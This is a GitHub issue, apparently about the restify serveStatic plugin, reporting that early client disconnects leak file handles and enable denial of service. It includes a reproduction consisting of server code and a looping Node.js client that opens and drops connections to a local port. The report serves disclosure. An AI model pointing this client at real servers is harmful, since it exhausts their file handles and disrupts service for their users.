You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Aug 10, 2023. It is now read-only.
Currently the serveStatic plugin is affected by the following Node.js bug: nodejs/node#1834
If a client disconnects too early a file stream (and a file handle) will be leaked permanently, which allows anyone to trivially DoS any server that uses the serveStatic plugin.
Since it doesn't look like the Node.js bug is going to be fixed anytime soon it should be worked around here.
How to reproduce the issue
Create a public directory and put a non-empty index.html in it.
Run this as a server:
var restify = require('restify');
var plugins = require('restify-plugins');
var server = restify.createServer({});
server.use(plugins.acceptParser(server.acceptable));
server.use(plugins.queryParser());
server.use(plugins.bodyParser());
server.listen(8091);
server.get(/.*/, plugins.serveStatic({
directory: './public'
}));
Run this as a client:
var net = require('net');
var LEAKY = true;
setInterval( function() {
var socket = new net.Socket();
socket.connect({host: '127.0.0.1', port: 8091}, function() {
var DATA =
"GET /index.html HTTP/1.1\r\n" +
"Host: localhost:8091\r\n" +
"User-Agent: curl/7.48.0\r\n" +
"Accept: */*\r\n" +
"\r\n";
socket.write( DATA, 'utf-8', function() {
if (LEAKY) {
socket.end();
} else {
setTimeout( function() {
socket.end();
}, 10);
}
});
});
}, 100);
Run watch -n 0.1 "stat /proc/$server_pid/fd/* | grep File | wc -l"; the number of open file handles will continue to grow indefinitely.
If you change LEAKY to false then the issue will stop reproducing.
Versions
restify 4.1.1, restify-plugins 1.0.2
The text was updated successfully, but these errors were encountered:
Currently the serveStatic plugin is affected by the following Node.js bug: nodejs/node#1834
If a client disconnects too early a file stream (and a file handle) will be leaked permanently, which allows anyone to trivially DoS any server that uses the serveStatic plugin.
Since it doesn't look like the Node.js bug is going to be fixed anytime soon it should be worked around here.
How to reproduce the issue
Create a
public
directory and put a non-emptyindex.html
in it.Run this as a server:
Run this as a client:
Run
watch -n 0.1 "stat /proc/$server_pid/fd/* | grep File | wc -l"
; the number of open file handles will continue to grow indefinitely.If you change
LEAKY
tofalse
then the issue will stop reproducing.Versions
restify 4.1.1, restify-plugins 1.0.2
The text was updated successfully, but these errors were encountered: